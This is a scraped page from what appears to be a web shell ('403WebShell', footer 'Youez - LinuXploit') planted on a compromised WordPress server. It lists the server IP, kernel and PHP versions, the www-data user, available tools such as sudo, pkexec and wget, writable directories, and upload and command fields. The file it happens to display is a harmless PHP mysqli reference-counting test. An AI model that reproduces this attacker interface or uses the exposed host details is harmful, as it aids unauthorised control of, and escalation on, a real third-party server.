WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/mysqli/tests/mysqli_result_references_mysqlnd.phpt
--TEST--
References to result sets - mysqlnd (no copies but references)
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');

require_once('connect.inc');
if (!$IS_MYSQLND)
	die("skip Test for mysqlnd only");
require_once('skipifemb.inc'); ?>
--FILE--
<?php
	require_once('connect.inc');
	require_once('table.inc');

	$references = array();

	if (!(mysqli_real_query($link, "SELECT id, label FROM test ORDER BY id ASC LIMIT 1")) ||
			!($res = mysqli_store_result($link)))
		printf("[001] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	$idx = 0;
	while ($row = mysqli_fetch_assoc($res)) {
		/* will overwrite itself */
		$references[$idx]['row_ref'] 		= &$row;
		$references[$idx]['row_copy'] 	= $row;
		$references[$idx]['id_ref'] 		= &$row['id'];
		$references[$idx++]['id_copy']	= $row['id'];
	}

	debug_zval_dump($references);
	mysqli_free_result($res);

	if (!(mysqli_real_query($link, "SELECT id, label FROM test ORDER BY id ASC LIMIT 2")) ||
			!($res = mysqli_use_result($link)))
		printf("[002] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	$rows = array();
	for ($i = 0; $i < 2; $i++) {
		$rows[$i] = mysqli_fetch_assoc($res);
		$references[$idx]['row_ref'] 		= &$rows[$i];
		$references[$idx]['row_copy'] 	= $rows[$i];
		$references[$idx]['id_ref'] 		= &$rows[$i]['id'];
		$references[$idx]['id_copy']		= $rows[$i]['id'];
		/* enforce separation */
		$references[$idx]['id_copy_mod']= $rows[$i]['id'] + 0;
	}
	mysqli_free_result($res);

	debug_zval_dump($references);
	print "done!";
?>
--EXPECTF--
array(1) refcount(%d){
  [0]=>
  array(4) refcount(%d){
    ["row_ref"]=>
    &NULL
    ["row_copy"]=>
    array(2) refcount(1){
      ["id"]=>
      string(1) "1" refcount(%d)
      ["label"]=>
      string(1) "a" refcount(%d)
    }
    ["id_ref"]=>
    string(1) "1" refcount(%d)
    ["id_copy"]=>
    string(1) "1" refcount(%d)
  }
}
array(2) refcount(%d){
  [0]=>
  array(4) refcount(%d){
    ["row_ref"]=>
    &NULL
    ["row_copy"]=>
    array(2) refcount(%d){
      ["id"]=>
      string(1) "1" refcount(%d)
      ["label"]=>
      string(1) "a" refcount(%d)
    }
    ["id_ref"]=>
    string(1) "1" refcount(%d)
    ["id_copy"]=>
    string(1) "1" refcount(%d)
  }
  [1]=>
  array(5) refcount(%d){
    ["row_ref"]=>
    &array(2) refcount(%d){
      ["id"]=>
      &string(1) "2" refcount(%d)
      ["label"]=>
      string(1) "b" refcount(%d)
    }
    ["row_copy"]=>
    array(2) refcount(%d){
      ["id"]=>
      string(1) "2" refcount(%d)
      ["label"]=>
      string(1) "b" refcount(%d)
    }
    ["id_ref"]=>
    &string(1) "2" refcount(%d)
    ["id_copy"]=>
    string(1) "2" refcount(%d)
    ["id_copy_mod"]=>
    int(2)
  }
}
done!

Youez - 2016 - github.com/yon3zu
LinuXploit